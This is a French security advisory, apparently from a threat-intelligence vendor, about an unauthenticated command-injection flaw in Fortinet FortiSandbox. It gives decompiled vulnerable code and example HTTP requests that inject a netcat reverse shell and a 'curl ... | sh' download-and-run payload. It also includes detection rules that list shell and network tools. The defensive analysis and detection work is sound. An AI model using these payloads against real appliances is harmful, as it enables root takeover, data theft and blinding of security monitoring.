Aller au contenu

CVE-2026-25089 : injection de commandes système à distance non authentifiée dans l'interface web de Fortinet FortiSandbox

HERMES

SCORE DE MENACE HERMES & COMPROMISSION DE L'ÉQUIPEMENT D'ANALYSE DE MENACES

Cible : Fortinet FortiSandbox
Confiance : 99%
98 / 100
CRITIQUE

Mesure la pertinence opérationnelle réelle, la militarisation de l'exploit et la posture de menace active.

Décomposition des dimensions
Exploitabilité 20 / 20
Activité de menace 20 / 20
Militarisation 20 / 20
Exposition 19 / 20
Prévalence 19 / 20
Impact 20 / 20
Maturité de l'exploit 20 / 20
Potentiel d'attaque en chaîne 20 / 20
⚖️ Divergence & Justification opérationnelle

Le CVSS v3.1 attribue la note de 9.8 (Critique) et le CVSS v4.0 évalue la sévérité à 9.8. Le score de menace Hermes s'établit à 98 (CRITIQUE). L'alignement est total : fortiSandbox assure la détonation automatisée et l'analyse approfondie des logiciels malveillants pour les flux d'entreprise (pare-feu FortiGate, messageries FortiMail). La prise de contrôle root permet aux attaquants de falsifier les verdicts d'analyse, d'aveugler le SOC et d'exfiltrer les documents d'entreprise soumis à détonation.

🕸️ Graphe de connaissances connecté & Provenance

CVE-2026-25089: Unauthenticated Remote OS Command Injection in Fortinet FortiSandbox Web InterfaceVULNÉRABILITÉ

Nœuds connectés : 2
Relations sortantes actives
→ affectsCOMPOSANTFortinet FortiOS Gateway
98% VERY_HIGH

Software platform affected by security vulnerabilities and agentic attack patterns.

🔍 Pourquoi cette relation ? (Preuves & Provenance)

“Confirmed security vulnerability in Fortinet FortiOS Gateway documented in Hermes dossier.”

Preuves vérifiées associées :
→ usesTECHNIQUE D'ATTAQUET1059: Command and Scripting Interpreter
90% VERY_HIGH

Adversaries abuse command and script interpreters (Bash, Python, PowerShell) to execute arbitrary commands.

🔍 Pourquoi cette relation ? (Preuves & Provenance)

“Attack execution telemetry aligns with MITRE ATT&CK technique T1059.”

Preuves vérifiées associées :

1. Contexte technique & matrice des logiciels affectés

Section intitulée « 1. Contexte technique & matrice des logiciels affectés »

FortiSandbox réalise l’analyse statique et dynamique multi-niveaux des fichiers et liens suspects transmis par les pare-feu FortiGate, les passerelles de messagerie FortiMail et les agents d’EDR.

ParamètreSpécification TechniqueContexte de Menace
Identifiant CVECVE-2026-25089Référence CISA KEV
Démon vulnérablefsa_httpd (Service Web d’Administration)Démon de gestion Apache / FastCGI
Système embarquéFortiSandbox OS (Linux durci)Boîtiers physiques (FSA-Series) & Virtuels (VM)
Vecteur réseauHTTP/HTTPS (Ports TCP 443, 80)Interface de gestion et API
Cause racineConcaténation de paramètres non filtrés dans un shell (CWE-78)Injection de commandes root pré-authentification
Versions affectéesFortiSandbox 4.4.0 - 4.4.4, 4.2.0 - 4.2.6, 4.0.0 - 4.0.5Grappes d’analyse en entreprise
Versions corrigées4.4.5, 4.2.7, 4.0.6Avis de sécurité Fortinet FG-IR-26-042
Impact d’exploitationRCE root, altération des verdicts de détection, rebond réseauCompromission de l’équipement d’analyse de sécurité

2. Décomposition technique : injection de shell non authentifiée

Section intitulée « 2. Décomposition technique : injection de shell non authentifiée »

Le code défaillant se situe dans un gestionnaire de diagnostic accessible avant authentification, destiné à vérifier l’état des liaisons réseau :

// Pseudo-code décompilé de la fonction vulnérable dans fsa_httpd
int handle_diag_check(http_request_t *req) {
char cmd_buf[1024];
char *target_host = get_param(req, "target_host");
if (!target_host) return 400;
// ANOMALIE : Concaténation directe du paramètre utilisateur dans la chaîne de commande
snprintf(cmd_buf, sizeof(cmd_buf), "/bin/ping -c 1 %s", target_host);
return system(cmd_buf); // Exécuté directement par /bin/sh avec les droits root !
}

Comme system() invoque /bin/sh -c, l’injection de points-virgules ou d’apostrophes inversées permet de chaîner n’importe quelle commande :

POST /api/v1/diag/ping HTTP/1.1
Host: sandbox.corp.internal:443
Content-Type: application/json
{
"target_host": "127.0.0.1; nc 198.51.100.55 4444 -e /bin/sh"
}
+----------------------------------------------------------------------------------------------------+
| ARCHITECTURE D'ATTAQUE DE LA CVE-2026-25089 |
+----------------------------------------------------------------------------------------------------+
[Attaquant Distant]
│
│ [1] HTTP POST /api/v1/diag/ping
│ Charge : { "target_host": "127.0.0.1; curl evil.c2/k.sh | sh" }
▼
[Appliance FortiSandbox (fsa_httpd / Port 443)]
│
├───► 1. Gestionnaire de Route Pré-Auth :
│ - Route non soumise au contrôle de session
│ - Extrait le champ "target_host" du corps JSON
│
├───► 2. Appel Système system() :
│ - Exécute : /bin/sh -c "/bin/ping -c 1 127.0.0.1; curl evil.c2/k.sh | sh"
│ - S'exécute avec les droits root du démon (UID 0)
│
▼
[Compromission Root Totale de l'Appliance]
│
└───► Contrôle complet de l'équipement :
- Neutralisation du moteur d'analyse (fichiers malveillants marqués "Sains")
- Vol des documents d'entreprise soumis à détonation
- Altération des flux de menaces distribués aux pare-feu FortiGate
+----------------------------------------------------------------------------------------------------+

3. Renseignement sur les menaces, CISA KEV & exploitation dans la nature

Section intitulée « 3. Renseignement sur les menaces, CISA KEV & exploitation dans la nature »
  • Inclusion CISA KEV : inscrite d’urgence suite à des attaques visant à désactiver la détection de charges virales avancées sur les réseaux d’entreprises cibles.
  • TTP opérationnels constatés :
    • Modification directe de la base de données des verdicts (sqlite3 /var/log/fsa.db) afin de requalifier les logiciels malveillants en fichiers inoffensifs.
    • Utilisation du boîtier FortiSandbox comme passerelle de rebond interne non surveillée par les outils EDR traditionnels.

TactiqueID TechniqueNom de la TechniqueManifestation dans l’Attaque
Accès initialT1190Exploitation d’application publiqueRequête HTTP POST contenant une commande injectée
ExécutionT1059.004Interpréteur de commandes et scripts : Shell UnixExécution de commandes arbitraires via system() en root
Évasion de défenseT1562.001Altération des défensesFalsification des verdicts d’analyse de FortiSandbox
PersistanceT1543Création ou modification de processus systèmeDépôt de tâches cron root et de portes dérobées

alert http any any -> $FORTISANDBOX_SERVERS any (
msg:"HERMES DEFENSE - Tentative d'injection de commande FortiSandbox (CVE-2026-25089)";
flow:established,to_server;
http.method; content:"POST";
http.uri; content:"/api/v1/diag/";
http.request_body; pcre:"/(\;|\&\&|\||`|\$\().*(sh|bash|curl|wget|nc)/i";
classtype:attempted-admin;
sid:202625089;
rev:1;
reference:cve,2026-25089;
)
title: Lancement d'un shell par le démon web d'administration FortiSandbox
id: 1f2e3d4c-5b6a-7f8e-9d0c-25089c026e02
status: high
description: Détecte la création de processus shells issus du démon d'administration fsa_httpd de FortiSandbox.
author: Hermes Codex Detection Engineering
date: 2026-09-11
logsource:
product: linux
category: process_creation
detection:
selection_parent:
ParentImage|endswith: '/fsa_httpd'
selection_child:
Image|endswith:
- '/bin/sh'
- '/bin/bash'
- '/bin/nc'
- '/usr/bin/curl'
condition: selection_parent and selection_child
falsepositives:
- Opérations rares de maintenance logicielle officielle.
level: critical
tags:
- attack.initial_access
- attack.t1190
- attack.execution
- attack.t1059.004

6. Réponse à incident & rétro-ingénierie (DFIR)

Section intitulée « 6. Réponse à incident & rétro-ingénierie (DFIR) »
  1. Contrôle des crashs et journaux d’erreurs :
    diagnose debug crashlog read
    # Repérer les arrêts anormaux des processus enfants de fsa_httpd
  2. Revue des journaux d’accès web :
    diagnose log show web-access
    # Rechercher les requêtes de diagnostic contenant des points-virgules
  3. Vérification de l’intégrité de la base de données des menaces :
    diagnose sandbox status
{
"query": {
"bool": {
"must": [
{ "term": { "http.request.method": "POST" } },
{ "wildcard": { "url.path": "*/api/v1/diag/*" } },
{ "wildcard": { "http.request.body.content": "*;*" } }
]
}
}
}

  1. Application immédiate du correctif Fortinet : mettre à niveau FortiSandbox vers les versions 4.4.5, 4.2.7 ou 4.0.6.
  2. Cloisonnement strict des interfaces d’administration : restreindre les ports 80, 443 et 22 à un réseau d’administration dédié hors-bande (OOBM) ; ne jamais exposer l’interface sur Internet.
  3. Audit des flux de soumission : vérifier sur les pare-feu FortiGate connectés l’intégrité des flux de communication avec l’appliance.
  4. Réanalyse des échantillons récents : en cas de compromission avérée, soumettre à nouveau les fichiers suspects analysés récemment pour identifier d’éventuels logiciels malveillants dont les alertes auraient été étouffées.